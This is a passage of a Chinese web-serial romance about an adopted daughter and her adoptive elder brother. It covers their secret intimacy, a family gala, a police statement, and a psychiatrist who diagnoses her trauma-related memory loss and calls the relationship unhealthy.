陆礼的手掌摩挲着她的面颊,嗓音温柔有力,“你的头发还湿着,我们先吹干头发好吗?”
她抓着陆礼的手指,重复着需求。
“抱我……”
“陆礼……”
她不需要吹干头发,她不需要清理伤口,她什么都不要。
她只要陆礼——
第26章 你们在做什么?!
陆礼无法拒绝这样脆弱的妹妹。
但是时间太过紧张,他只能控住她的脸颊,一遍遍告诉她:
房间很暖和,有他在,没有人能伤害她,然后再答应她,今夜晚些时候回去陪她。
他蹲下身,温热的手掌贴在她后颈,耐心温柔的,像可靠的兄长,安抚她惊慌不安的情绪,引导着她呼吸,握住了她想要继续下去的手。
他们头抵着头。
呼吸纠缠在一起。
动作亲昵。
兄长的安慰像是把她的恐惧撕开了一道口子,汩汩冷气开始往外逃逸,不在盘踞她体内。
她的眼神渐渐恢复清明。
像是从一阵噩梦中惊醒,灰暗的视野里出现浅淡的色彩。
“不准骗我——”
话音落下的瞬间,紧闭的门突然打开。
“你们在做什么?!”
陆母站在门口,看着陆礼蹲在女儿面前,手掌压她后颈,两人几乎额头贴着额头,动作暧昧,落入她眼中,早已超越了兄妹的距离。
“陆礼!”
陆母心口狠狠一跳,快步走进。
时憬浑身僵住。
妈妈看到了什么……?
陆礼注意到母亲故意脱去的高跟鞋、换了室内鞋的脚,松开按着时憬的手,眼神无一丝一毫的慌乱,“时憬落水后一直在叫冷,我担心她发热。”他站起身,目光平静地看着陆母,“我已经让老宅那边送备用的礼服过来,您来得正好,帮忙照顾下时憬。我换了衣服先去宴会厅那边。”
他在说这句话时,余光看着松开攥着他浴袍的手,眼眸暗了瞬,“如果时憬情况不好,您尽快联系我。”
陆母伸手,将时憬揽入怀中。
看似是安抚她。
同时也将过分亲近的兄妹二人隔开。
面对儿子的平静,再加上时憬的状态的确令人担心,陆母也冷静下来,“妈妈照顾妹妹你还不放心么?”她添了一句,“楼家的人今天也来了,我知道你对心月没什么感觉,但两家现在正在合作,宴会上不能太驳楼家的面子。”
陆礼点头:“我有数。”他又看了眼妹妹,叮嘱道:“时憬不愿意,您就不要让她出去了。”
陆母赶走儿子。
在房门关上后,她的脸色凝重。
这几年,她只看见陆礼因为妹妹的到来变得有了生气,却忽略了兄妹二人过于亲密的举动,想起刚才看见的一幕,她一阵后怕。
不能再让他们继续亲近下去。
陆礼是哥哥,时憬是他的妹妹。
他们只能是兄妹。
陆母调整情绪,目光温和地看着时憬,“乖乖,妈妈先帮你把头发吹干好么?这样很容易着凉的。”
她没有生育过女儿。
哪怕是在认了时憬做女儿,自己也未尽到合格的母亲责任。
发生这种事情,应当是母亲陪伴在她身边。
而不是的异性的哥哥。
时憬不敢去看陆母,只沉默地点头。
陆母去拿吹风机,嗡嗡的暖风从头顶吹下来,妈妈的手指比陆礼的更加温柔,暖风驱散了些寒意,她的脸颊不再冰冷,双唇也变得温暖。
头发吹干,陆母在她身边坐下。
握住时憬的手。
目光触及她的脖间的伤口,忍不住低呼了声,也顾不上同她说话,匆匆下去拿药箱上来。
正好备用的晚礼裙送到。
陆母一并拿了上来。
陆母仔细清理伤口,贴上肤色隐形创可贴。
时憬张了下口,听见自己干涩愧疚的声音响起:“妈妈,对不起。那件礼服弄湿了,项链也断了……”
陆母不太清楚时憬在露天泳池那边究竟遭遇了什么。
只知道她受当年车祸的牵连,被男人恶意推下水,还被骂了不少难听的话。
陆母安慰她:“傻姑娘,怎么是你道歉呢。这件事从头到尾就是那个男人的错,裙子湿了咱们有备用的,项链断了还有其他的,你安全好好的是最重要的,剩下的事情爸爸妈妈哥哥都会帮你处理。你只需要挺直腰板出去,让那些人看看,咱们陆家的女儿没那么脆弱!”
时憬终于抬头,看向疼爱她的陆母。
陆母搂着她,指着拿上来的晚礼裙,鼓舞道:“你不是喜欢这套粉色的晚礼裙么,妈妈替你简单梳个发型,妆也还在,只要稍微补一下就行,依旧能惊艳四座。”陆母望着她的眼,认真说道:“今晚发生的事情,只有你自己走出去了,那些议论才不能真正伤害到你,知道么,乖乖?”
时憬在妈妈眼中看到了期望。
期望她能重新装扮,回到宴会厅去。
她不能让妈妈失望。
她挤出笑容,点头:“好。”
然后,她看见妈妈欣慰而骄傲的笑了。
*
主宴会厅角落。
楼心月找到躲着打电话安抚情人的哥哥楼正贺,楼正贺已有些不耐烦应付电话里,见她来,说了句有事直接挂断。接着斜眼看她:“大小姐又有什么事?”
楼心月低声埋怨:“你找给我的都是什么人?到今天一个消息都没打听出来。”
楼正贺才想起来有这桩事,不屑道:“不过是陆家养了几年的养女,跟个宠物没多大区别,你至于这么大费周章地查她吗?”
楼心月拧眉呵斥:“你小点声!”
她眼神警惕地看着周围,确保无人在旁听见他们说话。
楼正贺嘲笑她胆小又疑心重。
楼心月:“你没见过他们兄妹相处时的语气眼神态度,根本不像是普通兄妹。”
楼正贺顿时有了兴趣,“嘶…看不出来啊,陆少居然好这口?”
楼心月瞪他。
低声警告道:“你给我牢牢闭紧嘴巴,要敢说出去,我就把你那些小三小四私生子通通告诉你老婆!”
楼正贺顿时变脸:“你敢!你——”
“给你发了个号码,去找人捞出来,记住别让陆家的人察觉出来。”
楼正贺掏手机看,语气阴郁地应下:“知道了,事真多,陆少看不看得上你还两说,这么做小心把人得罪了牵连我们楼家。”
楼心月高傲,哪里听得起泼冷水的话,直接冷下脸呵斥他闭嘴。
两人说完话,楼心月看见消失了许久的陆礼出现。
他换了件黑领礼服,愈发显得长腿窄腰、面容清峻,吸引着宴会厅中所有女性的目光。
楼心月扬起温柔完美的笑容,再度朝着男人走去。
楼正贺抬头,就看见妹妹正和陆少说话,明亮灯光下,只见她惊喜掩唇,抬起手,纤细手指落在男人掌心,被牵着步入人群之中。
终场舞悄然开始。
钢琴声、小提琴声交织。
灯光变化。
暖色的光为舞池中翩然起舞的二人添一份暧昧的色调。
众人纷纷为他们腾出空地。
时憬跟着陆母再次进入宴会厅,便看见兄长握着楼心月的手,她旋转而出,裙摆铺开,似是盛开的花瓣,如此美丽。
第27章 他陆礼捧在手心长大的女孩
今晚来参加陆氏新年晚会的宾客大多知道,陆氏也宣城楼家有合作。
陆礼与楼家女跳终场舞算是商业往来。
但男帅女美,站在一起实在养眼。
完全不输娱乐圈里的明星。
不少宾客都忍不住拍下这一幕电影般的画面。
甚至连前段时间因楼心月的种种表现而失望的陆母,眼下看着宴会厅中宛若天作之合的一对,与时憬感慨道:“楼家这姑娘看着和你哥实在登对,虽说性子弱了点,但韧性足。陆礼这种捂不热的脾气,说不定就得配这样的姑娘。”
时憬盯着二人。
掐住手心。
告诉自己不能露出一丝一毫的尖酸刻薄,不能让妈妈生疑。她应和道:“您以前介绍给我哥的相亲对象,最长也就坚持了一周。心月姐还在总部天天能见到哥哥,能坚持这么久已经是特例了。”
陆母听得动摇,“是吧……”
后面陆母再说什么,她一个字都听不清楚。
宴会厅中越来越多的男女开始跳舞,四周应当更加热闹,时憬站在原地,耳朵里听不见一丝声音。像是整个人被罩在一个玻璃罐中,隔绝了热闹,还有温暖。
她看见陆礼握着楼心月的手、扶着楼心月的腰肢、看向楼心月的目光,接着听见自己脑袋里歇斯底里的喊叫声。
不要碰那个女人!
不要看那个女人!
陆礼是她的。
他只能是她的。
她想要撞碎玻璃罐,冲出去,让他们分开,然后把陆礼抢回来。
……但是不行。
冷静。
冷静。
时憬强制自己闭上眼睛,调整情绪。
“阿姨,时憬!”
童宛穿了半个宴会厅过来。
陆母知道她们两个女孩儿关系好,主动走开,好让她们自在一点说话。
童宛目光关切地仔细看她一番,随即笑着道:“啧啧啧,陆家小公主就是不一样,又是C家高定。”说着,她扼腕叹息:“早知道你今晚穿得这么漂亮,我就穿男装来当护花使者了。”
好友的笑容简单。
握着她手腕的手掌温暖。
时憬紧绷的背脊放松,被童宛的搞怪逗乐,伸手邀请她:“两个女生也能跳呀。”
童宛指了下远处,眉头皱得能夹死苍蝇:“不行,我爸妈给我派了任务,我就是来看看你的,明天再约你出去玩。”
时憬顺着看去。
那边站着一个国字脸、中等身份、看着严肃古板的男人。
童宛是标准的颜狗,性子又活泼。
与那人实在不搭。
时憬:“的确……委屈你了。”
童宛摆手,“走了,渡劫去了。”
时憬摇头笑了下。
她安静地站在角落,不久前蜂拥上来与她攀谈的男人们像是没看见她一般。
这个圈子就那么大。
事情就发生在温泉山庄里,在场的人或多或少都知道了些,惊悚的‘杀人犯’三字,足以让那些人对她退避三舍。
她是陆家养女又如何。
有美貌又如何。
她又不姓陆。
没必要去招惹一个潜在的大麻烦。
陆礼看妹妹孤零零、眼神落寞地站在角落,胸口微窒,压着耐性等一曲结束。
他陆礼捧在手心长大的女孩,何时轮到这些人给她冷眼?
就在一个旋转后,有人遮挡住角落。
等他再看去,已不见时憬的身影。
“陆礼…”
温柔似水的嗓音轻轻响起,“我知道你担心小憬,但现在这么多人都在看着我们,至少陪我跳完这一曲好么?”
或许时憬已经离开宴会厅。
离开也好。
这个圈子里太过看中名利二字,不适合时憬。
陆礼收回视线,不曾看楼心月一眼,冷淡的应了声。
*
时憬她站的正无聊时,不知道从哪里冒出来一位金发碧眼的一米八大帅哥,站在她面前,操着一口奇怪音调的中文,用深情的蓝眼睛望着时憬,邀请她共舞。
时憬独自站着尴尬,便答应了。
金发帅哥的目光似有温热的温度,一直盯着时憬看。
时憬抬眸看他。
两人距离近。
她挑眉无声询问。
刚好一曲结束,Ending姿势是女位下腰,时憬敷衍地做完,站直身子,眼前是金发男过分贴近的脸,近到她都能数清男人浅金色的睫毛。
时憬瞬间变脸,用力推开,戒备地看他:“让开。”
金发男跟着松手:“抱歉,你太美丽,一时没忍住。”
时憬:哈???
“那你耐力真够差的。”目光鄙夷地从他下身扫过。
金发男眨了下蓝眼睛,随即就是一声哈哈哈,语气颇为无辜道:“中文真是博大精深,再次抱歉,我刚回来,不太适应你们的社交距离。”
时憬皮笑肉不笑:“没事,我也不适应你们的虚伪。”
说完走人。
结果才走几步,胳膊就被人拉住。
她身体僵住。
不可控制地想起泳池旁被人拖拽入水、毫无反手之力的恐惧,浑身血液一凉。
两秒后,她克制住身体的战栗,转身讽刺道:“死缠烂打有——”
她以为还是那金发男。
却看见了陆礼的脸。
他看着明显是强撑着精神的妹妹,目光愈发温和,没有追问她这一句奇怪的问话,只当她仍未从恐惧中走出来,语气温柔地问她:“刚才去哪儿了?”
“没去哪儿。”
她分外乖顺地回话。
慌乱被兄长的目光抚平。
一曲结束,陆礼他就回到她身边了,到现在为止,她在陆礼心中依旧这么重要。
她总能从这些行为中,获得不能被人所知的满足感。
悄悄下滑手掌,五指插入他指尖的缝隙,背着所有人与他十指交握,昂首,目光依赖而柔软,“哥,我困了,什么时候可以回家?”
在旁人看来,只是陆家的养女在同兄长撒娇。
陆礼捏了下她冰冷的手掌,随即抽出,极为自然地把披肩替她披上,“我先送你去车上休息。”
时憬的指尖动了下。
只能握住一团冰冷的空气。
时憬上了车,就蜷缩在后排打瞌睡,迷迷糊糊间听见有人上车,她睁眼去看,是陆父、陆礼上了车。
时憬迷迷瞪瞪地向他们身后张望,“咦,妈妈呢?”
陆父知道他们兄妹亲近,特意坐在副驾,看着时憬一醒来就记着母亲,语气温和道:“妈妈有个朋友提前回国,今晚就住在温泉山庄了,估计是要彻夜叙旧,就不和我们回家了。”
时憬哦了声。
她才醒,脑袋木木的。
并未因‘回国’这一词而想到其他的人。
第28章 像菟丝花一样缠绕着他
车内安静。
或许是照顾时憬昏昏欲睡的状态,父子二人保持沉默。直到回了陆园,陆父关心地问道,“小憬今天被吓坏了吧?最好是明天让陆礼带你去看看心理医生,别因为这件事落下什么心理阴影。”
时憬乖巧回道:“哥哥、妈妈都来开导过了,我已经好多了,谢谢爸爸。”
陆父看她的表情没有勉强之色,转而看向儿子,语气严肃道:“这事你是怎么处理的?”
自从儿子执掌陆氏大权后,陆父极少再会干涉他的决策,更多时候都不会主动去问。
他完全相信陆礼的能力与决断。
但今晚事关家人,陆父才忍不住问了句。
陆礼:“已经交给佟律师去处理,我们不接受任何形式的和解。”
陆父点头,“就是该这样。还有现场拍视频的那些人呢?”
“调监控派人去提醒过,网上也会进行24小时内监管,发现就会屏蔽。”陆礼说完后,抬腕看了眼手表,“时间不早了,您早些去休息吧。”
最后一句赶人的意思实在太过明显。
时憬起先还吓了一跳。
陆父听明白了,儿子这是不想要当着时憬的面提起这桩事情,为着这份心细,陆父满怀欣慰,知道这么关心妹妹,将来就不愁不会关心老婆。但面上却幽幽叹气,“哎,老喽老喽。”
时憬察觉出爸爸刻意卖惨的语气,忍着笑道:“爸爸才不老,正是年富力强的年纪呢!”
陆父又一声叹息,“你看看,你哥都嫌弃我啰嗦了。”
陆礼看着父亲拙劣的演技陷入沉默:……
时憬难得见陆礼词穷,看得一阵新鲜,继续同他一唱一和:“爸爸,哥哥肯定不是故意的,您看,他都哑巴不敢说话了。”
陆父哦?了声,审视儿子一番,“你确定?他不是天生话少又毒舌吗?”
亲爸损起儿子来真狠。
时憬噗嗤一声,差点笑喷。
她忍得嘴角抽了好几下,才说出话:“原来是…咳,这样啊……”
陆礼:“……两位注意点,我还没聋。”
时憬笑趴在陆礼胳膊上。
却不知,陆父与陆礼落在她身上的目光如此温柔关切,看着她像这样笑出来,也让人松了口气。
陆父最后开口,让他们早点各自回房休息。
道了晚安后,二人各自回房。
时憬只想着尽快换下束缚的晚礼裙、卸去妆容,简单洗漱后裹着浴袍出来,打算溜去找陆礼。
刚踏出浴室门,她便看见了坐在沙发上,抱着笔记本电脑戴着耳机正在开会的陆礼。
他穿着银灰色棉质睡衣。
戴了副黑色细边眼镜,头发垂下遮着额头,掩盖了平日的严肃气势,多了些温文尔雅。真正专注工作时的状态,则更迷人。
时憬因他的守诺,最后一丝不安被悄然抚平。
她挨着陆礼坐下,故意从他胳膊底下挤进去。
陆礼一边同人开会,一边无奈地纵容她,把放在腿上的笔记本电脑放到手边的茶几上,抬起胳膊,任由胡闹的妹妹趴在他身上。他分心垂眸,看见时憬望着他时,纯粹而黑润的眼。
他在时憬后背轻拍了下。
让她安静等会儿。
接着又继续看屏幕确认文件,认真开会。
时憬撅了下嘴巴,她盯着兄长严肃的表情,忽然唇角微微扬起,起了个坏念头。
两条胳膊搂上陆礼的胳膊。
身子蹭着往上挪了下。
将脸埋在男人的颈项间,双唇吻上脖子,稍稍用力吮吸——
身下的身体僵硬了一瞬。
搭在她腰间的胳膊用力,想要把恶作剧的妹妹扯下来,视线也跟着垂下。
他越扯,时憬却来劲。
像是菟丝花一样缠绕着他,甚至还在无声的拉扯间爬到了男人腿上坐下,松口,歪着头,笑盈盈、挑衅地看他。
陆礼正好说到关键点,被她的笑容晃了下眼。
停顿了下后,才接着往下说。
他不再禁锢着时憬,手掌摁在她后背,胳膊虚打开护着她,怕在玩闹中她把自己给摔下去。他的动作如此周全,眼神却是略带警告地看她。
时憬一身的逆骨,全用在陆礼身上。
她松开搂住胳膊的手,微微一笑。
还不等陆礼反应过来,她探着向下,握住——
陆礼脸色微变,后背直起,手立刻跟着下去,温热的掌心用力地攥住她纤细的手腕,另一只摁在她后背的手猛地施力,把人牢牢压在胸前——
“啊—”
时憬撞得忍不住低叫一声。
两人挨得近,这一道声音虽微弱、却无比清晰地传入所有人的耳中,会议出现了短暂的死寂。
大半夜的,总裁身边怎么有道女声?
陆礼脸色沉了下来。
他看着妹妹一手捂住嘴巴,眼神中有些许尴尬之意,又带着点讨好地望着他,足以让陆礼忍住训斥她胡闹。
“没事,刚过去了只猫。”
陆少一本正经的话说八道。
耳机里的死寂持续的时间更久了。
众人:不是,总裁居然养猫了??
时憬“喵~”了一声,然后以迅雷不及掩耳之势紧紧趴在他身上,头重新埋入颈项间,不让陆礼看自己的脸,更不让陆礼把她给扒拉下去。
陆礼:……
众人:……
不是,总裁居然还真养猫了?
而且还让猫咪上身?
高冷严肃的总裁竟然是猫控?!!
陆礼抬手揉了下太阳穴,调整心态,沉声道:“刚才轮到谁了,继续。”
众人就在‘完全无法想象高冷陆少也会像猫奴一样埋在猫咪肚子吸猫’的诡异画面中,继续这一场语音会议。
时憬趴着等了会儿,也没等到陆礼把她揪下来。她赖在兄长怀里,又蹭蹭又抱抱又亲亲,也没换来提早结束会议,终于安分下来,安静地趴在结实的胸膛上,汲取着温暖的体温。
陆礼每一次说话,连带着胸腔都会震动,再传到时憬的胸口时,有些麻麻酥酥的。
耳边的声音语气严肃,可他的怀抱又是如此温暖,让时憬觉得自己被他的温柔保护着,分外安心。
三重因素的影响下,睡意悄然来袭,而她却不知,在她的呼吸声变沉之时,陆礼不自觉地放轻了说话声。
第29章 无声邀请
这一觉时憬睡得并不安稳。
入睡后,噩梦随之而来。
她被困在湖底,痛苦得不能呼吸,手脚并用地不停挣扎,却怎么也浮不出水面,直到濒死的窒息感将她憋醒。
她睁着眼,浑身冷汗淋漓。
直到在黑暗中看清熟悉的房顶,濒死感退去。
是梦。
而不是现实。
随着平静下来,她觉得有什么事情被她忘却了,想要追看时,好像隔着一重浓重的白雾,试了几次也就放弃了。
她是个从来不为难自己的人。
清醒后她再难入睡,耳边呼吸声清浅。
她转头,发现陆礼竟然今晚留下陪她了。
冰冷的躯体内生出暖意。
两人中间隔着些距离,他侧身面朝着自己的,闭眼熟睡。
时憬往他那边动了一下,人也没醒。
不知道他究竟开会到几点才上来睡觉的。
但——
她没了睡意。
望着兄长熟睡的面容,纤细的欲望编织成了网。
想要把未睡之前的事情继续下去。
她靠近,柔软地吻住陆礼的双唇,试探地触碰、亲吻,睡梦中的兄长迟钝,任由她作为,分外乖巧。时憬像是个偷完玩具的孩童,忍不住愈发过分,指尖从睡衣扣子里探入,触及结实的胸膛、温热的肌肤,饶有趣味地感受他与平时截然不同的反应。
正自娱自乐时,忽然腰被一只手用力箍住。
眼前一晃,人被压着陷入被褥之中。
陆礼撑着一条胳膊,左膝顶开她的双腿跪在其间,睡意残存的眼中,夹杂着翻涌的暗色,嗓音低沉,也不似平日的温柔:“不想睡了,嗯?”
时憬搂住他的脖子。
眼眸澄澈。
却做着放浪形骸的事儿,足尖沿着他大腿弧度一寸寸移上去,像挑衅又像撩拨,轻轻触碰。
“你也醒了呀。”
用最无辜的语气,说着最正常不过的对白。
只因一个动作,染上了另一重意味。
男人的呼吸重了一瞬,箍着细腰的手下滑,手掌牢牢抓住那只为非作歹的脚腕,掌心烫得惊人。
时憬继续吻他。
无声邀请。
撩拨的是她,拱火的是她,被狠狠欺负的哭出来的也是她,不算暖和的躯体被滚烫侵占,驱逐寒冷,渐渐变得温暖后,温度上升,生出细密的汗水,发根里都是汗涔涔的,热红了面颊。
意识连不成串,变得支离破碎,抓着他胳膊的手也无力脱滑。
小舟承不起太大的风浪。
开始向船夫央求。
央求不成,吱吱嘎嘎的发出抗议。
船夫需去赶集,哪怕平日再心疼船只、精心保养,此时也不肯心软、不好说话。只是伏低下身,轻摸着船舷,温柔地安抚几句。
没有任何停航之意。
……
时憬睡到中午饭点才醒。
一扫凌晨入睡前的疲惫不堪,一脸的好气色。
下楼用饭时,只有妈妈一人在。
陆母担心地看她,哪怕女儿脸色红润,但察觉眼角有些发红,便猜测定是女儿半夜做了噩梦哭醒的,脸色红润极有可能是发热。
时憬一落座,陆母便去探她额头。
未触及发热这才放心地收回手。
“昨晚是不是睡得不好?眼睛这么红。”
时憬垂眸。
面对妈妈的关心,她无法启齿,只能半真半假地回话:“做了一场噩梦,半夜醒了会儿,早上才起晚了。”
陆母一脸心疼,“你爸爸出门前还叮嘱,让你这段时间在家好好休息,什么都不用担心,天大的事情有你哥、有爸爸在呢。”
时憬扬起乖巧的笑容,“让你们担心我了,我已经没事了。”
陆母只当她要强,一顿饭下来不停给她夹菜。
席间,时憬为了阻止妈妈继续给她夹菜,问道:“听爸爸说,妈妈昨晚住在温泉山庄了么?”
陆母想起来,脸上露出与好友重逢后的欣喜:“是啊,妈妈的一个好朋友离婚回国了,这次就打算在国内定居。明天妈妈带你去见见她,她只有一个儿子可没有女儿,我不得带着我家乖乖去给她好好看看,让她羡慕去。”
时憬佯装害羞:“妈妈~”
吃过饭,时憬正要上楼时,陆礼从外面回来。
陆母:“怎么这个点回来?吃过了么。”
陆礼回句吃过了,便看向时憬:“收拾一下,我带你去警方做笔录。”
时憬怔了瞬,脑中短暂空白。
嘴上下意识应下,上楼换衣服,等再次下楼后,她才模糊地想起昨晚发生的事情,她昨晚被陈良推入水中,差点窒息而亡,可具体是如何发生的,记忆一片模糊。
她好像丢失了那一段痛苦的记忆。
临出门前,陆母让她别害怕,佟律师会陪同她一起做笔录。
这是时憬第二次去警察局。
与警察局相关的回忆太过混乱、绝望,过了这么多年后,她一上车就紧张,低着头一声不响地玩手机。
刚好童宛发来信息,以压惊的名义,邀请她去爬山。
时憬的紧张被打了个岔。
爬山?
童宛?
她不是最讨厌这类户外运动了么?
时憬:【你不用为了我这么勉强自己,逛街shopping也一样能压惊的】
童宛:【不勉强不勉强】
时憬惊诧挑眉。
紧接着下一条消息蹦出来。
童宛:【本来我约了季易去爬山,但我那坑爹不是给我介绍了个男的,天天监视我朋友圈,这不是知道我要去爬山,非要一起去……】
童宛:【烦死了.jpg】
童宛:【好心又善良的时大小姐,请给我打掩护】
童宛:【为表达诚意,我还替你约了白行!】
童宛:【姐妹有福同享不许拒绝!!!】
这句话发得格外强势。
结果下一秒就是跪求哀求表情包。
时憬被逗乐,敲了个好。
陆礼在余光中看见妹妹紧张的脸色有所缓解,甚至还轻笑了声,问道:“看见什么笑话这么开心?”
时憬摁灭屏幕:“是童宛约我过两天去爬桑山。”
桑山在邻市地界,从沙市开过去也有三个多小时。
陆礼看她,“就你们两个人去?”
时憬点头,眸光坦然地回望:“对呀。”
陆礼的语气显得有些冷,“去吧,注意安全。”
他不愿意去怀疑妹妹说的每一句话。
但他却能轻而易举地看穿妹妹撒谎时细微的表情变化。
时憬看着近在眼前的警察局,紧张到没有注意到兄长的异样。
第30章 这男人没尺度起来是——真茶啊
到警察局做完笔录出来,时憬的脸色隐隐发白,看着情绪低落。
而落后一步出来的佟律师看了眼陆礼,似有话要同他私下说。
陆礼先让时憬上车。
两人走远几步后才说话。
佟律师为陆氏集团服务多年,清楚陆礼的性格,不喜欢说话拐弯抹角的人,直接开口说道:“一般受害者在做笔录时,需要被迫反复回忆起案发时的情况,受害者多会呈现出抗拒、恐惧的反应,但从时小姐今天做笔录时的反应来看,她表现得还算平静,回忆案发情形时记忆有所缺失,极有可能出现了创伤性后遗症,需要带她去接受一下心理诊断或咨询。”
陆礼沉默两秒,张口道,“今天辛苦你,先回去吧。”
等陆礼回车上时,时憬像是已经缓了过来。
手机屏幕上是消消乐的界面,车里都是游戏轻松的背景音乐。
时憬嘶了声,凑过去语气夸张道:“哥,你脸色怎么看上去比我的还要糟糕啊,进去做笔录的受害者可是我欸。”
陆礼任由她靠近,温和地询问:“录笔录时有发生什么事情吗?”
他的语气循循善诱。
视线却像能窥探到时憬的内心。
时憬下意识害怕与他对视,移开视线,又坐了回去,手指在屏幕上划动,随意回道:“没啊,有佟律师在能发生什么事情。我有些累,想回家休息了。”
她的闪避如此明显。
陆礼仍在看她:“睡到十一点多才起来,这才过三个小时。”
时憬瞪他:“有意见?那也不准说!”
眼眸明亮,朝气蓬勃。
陆礼略带些无奈,“好。”
又抬头摸了下她的头,动作如此温柔,连着眼神也带着温暖的力量,将她裹住。
时憬心口微热,不舍地挪开目光。
直到陆礼再次开口:“遇上这类伤害性事件后,最好能接受一次心理咨询,我约了秦医生,我们现在去看看,好么。”
在说这一段话时,陆礼的口吻几近哄劝。
生怕提及一次心理就诊,就会伤及女孩脆弱的心灵。
时憬抿唇,却不似之前那样配合,“佟律师和你说了我不太记得当时的情形了是么?这不是很好么,我不记得了,就不会做噩梦、不会失眠,也不会害怕了。为什么还要让我去看医生!”
说到最后一句话时,她像是一只刺猬。
竖起一根根刺来保护自己。
这样的时憬,陆礼说不出一句重话。
但兄长总有办法能说服喜欢逃避又胆小的妹妹。
他抬起手,手掌笼着她的面颊,低声告诉她:“但我会怕。”
时憬愣住,眼神难掩惊愕地看他,眼瞳比任何时候都要黑亮,“真的?”
“是。”
仅仅这一声回应,就让眼前的时憬收起了尖刺,变得可爱而又柔软。她眼中盈起笑意,手掌贴上陆礼还未收回的手背,“为了不让你害怕,我去。”
她深爱着陆礼。
如何舍得让他害怕。
哪怕这只是他让自己得去看病的话术,她也愿意相信。
*
秦天川一脸苍老且疲惫的坐在电脑面前,眼神哀怨地像吃了七八个新鲜牛马。
时憬敲门进去时,被这脸吓了一跳,立即道歉:“又麻烦秦医生加班了。”
秦天川单手撑着桌面从电脑前滑走,干枯疲惫的脸慢慢回春,笑呵呵地让时憬先坐下,“没事,我会让你哥哥付丰——厚的加班费的。”
时憬笑点低。
被他夸张的动作逗笑。
诊室的门紧闭,隔绝屋内所有声音。
陆礼坐在对面的沙发上,没有看手机。等了半个小时后,时憬才开门,脚步轻快地朝他走来。
神色颇为自然。
时憬挨着陆礼坐下,笑着同兄长说:“秦医生叫你进去,啊对了,别忘记支付一笔丰——厚的加班费给他噢。”女孩语气愉悦地说完,自己先笑了起来。
陆礼:?
女孩却偷懒,不愿意和他解释,摆手让他赶紧进去,“记得长话短说,我没带游戏机来,等十分钟是极限。”
这本是时憬随口编的理由。
却在话音落后,陆礼抬了抬下巴,示意放在座椅上的黑色斜挎包,“游戏机在里面,自己拿。”
时憬小小欢呼一声。
陆礼照顾她已成习惯。
她也如此习惯地接受兄长的所有照顾。
而秦天川从监控中看到这一幕,牛马脸上的死气沉沉感更重了。
陆礼进门就对上一双生无可恋的眼,“昨晚你做什么去了?”
秦天川皮笑肉不笑地看他:
“托陆少您的福,刚从英国飞回来。”
“你在国外怎么不早说,你们不是也能开视频聊吗?”
二人熟悉,陆礼的口吻没了在外人面前的凌厉严肃,显得随意很多。
秦天川朝他扇了扇手:“您先坐下说话,站着我紧张,搞得跟我是领导似的。”
陆礼拉开椅子,冷冷扫了他眼。
秦天川识趣,一秒进入工作状态:“小憬的情况的确是创伤性应激障碍引起的选择性遗忘,无法回忆起创伤发生时的过程、具体细节,是无法通过刻意回忆来恢复记忆,这也算是她对自我的一种保护。后续还是要仔细观察她的状况,如果有出现警觉性提高、情绪麻木等情况,立刻来找我。”
陆礼语气平静:“你特地飞回来,不止是为了说这些吧。”
秦天川耸肩笑了声,如实继续说道:“我飞回来一是想当面诊断更直接些,二是为了让你知道,就时憬这一次事情来说,你们这种不正常的男女关系必须要尽快结束,你越晚抽手只会更容易激发她的情绪失控。”
“中断这段关系最好的时间点是四年前,其次就是现在。你对时憬的爱护早就超过了兄妹的范畴,如果可以的话最好都别让时憬认你这个哥哥,她才能停止陷下去。”
陆礼皱眉,语气冰冷:“时憬是我妹妹,我怎么可能不管她?”
秦天川想起监控里的画面。
这男人没尺度感起来真的——好茶啊!
他忍了忍没忍住,讽刺道:“谁家哥哥会床上床下照顾妹——”幸好理智及时回笼,啪地一声手动噤声,随后晒笑了下:“不好意思哈,嘴快。”
第31章 开启一段新恋情
秦天川的话粗俗、难听,却与那一天时憬在车里说的话重叠。
【那在和我上床的时候怎么没想起我是你妹妹?】
【谁家哥哥会在床上床下照顾妹妹?】
而在他们说出这一句话前,都是他信誓旦旦地在说照顾妹妹是他的责任。
可是——
侵占妹妹的人也是他。
在这四年里,也是他一步步退让,才纵容他们成了这样危险的关系。
他明明希望妹妹能恣意成长,能自由自在地活着,哪怕从他身上索取活下去的动力。
却没想到,他的默许会伤害时憬最深。
秦天川以为陆礼不说暴跳如雷,肯定也少不了讽刺他两句,结果陆礼沉默许久,从那张冷淡疏离的脸上实在看不出什么情绪波动来。
心里正打鼓时,听见陆礼的声音终于响起,“你告诉我,如果能在不伤害她的前提下结束这段关系?”
秦天川答得飞快:“管好你的尺度,然后开启一段新恋情。”
陆礼抬手摁了下眉心,“我会考虑的。”
“NONONONO。”秦天川竖起食指配合着晃了两下,“不是你,是时憬开启一段新恋情。”
陆礼那张波澜不惊的脸上,终于有了波动。
谈话结束,他带着时憬回家。
女孩儿玩游戏上头,只顾盯着屏幕里挥舞铲子的小人,没有分一星半点注意力给兄长。
更没有注意到兄长异常的沉默。
也是因为两人相处时,陆礼大多都在安静倾听。
他看了眼坐在副驾上的妹妹。
妹妹嘴甜爱撒娇、心性善良、容貌出挑,连父亲母亲也在这几年都相处中愈发疼爱她。他不担心无人会不爱这样善良而可爱的她,可那些人里,有多少能配得上她?
“哥?”
“陆礼!”
陆礼回神抓住在面前乱晃的手,皱眉提醒她:“在开车,别乱动。”
时憬挑眉,“可是我们到了呀?”
陆礼看了眼周围,车子已停到陆园门口。他松开妹妹的手,“下车。”
副驾的人迟迟没动作。
他问:“怎么了?”
时憬收起游戏机,侧着身,双眸看着他,说道:“哥,你才是怎么了。秦医生都说没问题了,选择性失忆是我对自己的一种保护,你不用担心成这样。”
她认真安慰操心的兄长。
没有故意的撒娇,也没有娇蛮的任性。
眼前的时憬变得懂事而稳重。
像是一瞬间长大般。
或许,他真的到了可以试着放手的时候。
“没事。”陆礼松开握住妹妹的手,语气是时憬熟悉的冷漠平静,“是工作上的事,下车吧。”
时憬喔了声。
并未怀疑陆礼。
下车后,她走在陆礼身后,小声嘀咕:“恐怖如斯的工作狂,今天可是元旦假期欸。当你的部下好惨,幸好那时候我没进总部去——”
走在前面的男人忽然停下。
时憬停步,有些心虚笑,“呵呵…”
陆礼敲了下她额头:“陆氏集团中每个人的工作态度与薪资相符,所有人都在为了生活努力工作,有什么惨的?”陆氏集团总部工作节奏快强度大,但相应的福利、工资也足够买下陆氏员工付出的努力成果。
这也是陆氏集团仍在高速发展的重要原因。
时憬最喜欢和哥哥唱反调,小声辩驳:“说得像谁不为了生活努力工作一样。”
陆礼挑眉,“一个月请半个月假?”
他故意逗妹妹。
时憬瞪了兄长一眼,噔噔噔跑上楼去。
